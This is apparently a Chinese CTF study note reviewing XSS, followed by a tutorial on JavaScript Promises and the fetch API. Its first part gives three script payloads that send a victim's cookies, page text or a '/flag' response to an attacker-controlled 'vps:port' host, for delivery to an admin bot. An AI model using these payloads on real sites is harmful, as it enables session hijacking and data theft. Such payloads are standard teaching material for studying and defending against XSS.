XSS复习
XSS的利用
读取页面cookie
简单试一下xss
<script>
fetch("http://vps:port/?a="+document.cookie)
</script>
//向我们的vps发起请求,携带自己的cookie值作为a参数。这样nc我们服务器端口后,我们可以看到当前页面的cookie参数了。
利用XSS读取页面中的信息
简单试一下xss
<script>data=document.body.innerText;location.href="http://vps:port?a= //这里fetch和location.href是一样的
"+data</script>
利用XSS请求API
<script>
fetch("/flag").then(x => x.text()).then(x => fetch("http://vps:port?a=" + x))
</script>
如上只是几个payload,一般需要发送到管理员,后台bot点击之后窃取管理员的信息,发送到我们的vps上。
http://localhost:80/?content=... //省略内容为上述上个三个的url编码内容
网络请求fetch与异步变成对象Promise:
Promise是异步编程的一种解决方案。从语法上说,Promise 是一个对象,从它可以获取异步操作的消息。Promise 异步操作有三种状态:pending(进行中)、fulfilled(已成功)和 rejected(已失败)。.then方法接受promise成功消息或失败消息
const p = new Promise(function(resolve,reject){ //参数名换成其他的也行,但是位置第一个表成功,第二个表失败
resolve(1);
}).then(function(value){ // 第一个then // 1
console.log(value);
return value * 2;
}).then(function(value){ // 第二个then // 2
console.log(value);
}).then(function(value){ // 第三个then // undefined
console.log(value);
});
Fetch API 基于 Promise 设计,使得异步操作更加简洁和易于理解。其优点如下:
- 基于 Promises,代码更加简洁和易读。
- 更好的错误处理机制:只在网络错误(如无法连接服务器)时返回
catch,而非状态码错误。 - 支持多种数据格式(JSON、文本、二进制等)。
- 可以处理跨域请求,通过
CORS机制配置。
fetch 的语法相当简洁,最基本的形式是:
fetch(url)
.then(response => response.json()) // 解析 JSON 数据
.then(data => console.log(data)) // 处理数据
.catch(error => console.error('Error:', error)); // 错误处理
fetch(url,options)的参数:
- url:要发送请求的目标 URL。
- options(可选):可以指定请求方法(GET、POST 等)、请求头、请求体等内容。
返回值:
返回一个 Promise 对象,Promise 在请求成功时返回 Response 对象,在请求失败时被拒绝。
fetch还有不懂的参考菜鸟教程:https://www.runoob.com/ajax/fetch-api.html

黄河流域做到出了一道CSP的题,正好把xss的其它内容也复习一便
浙公网安备 33010602011771号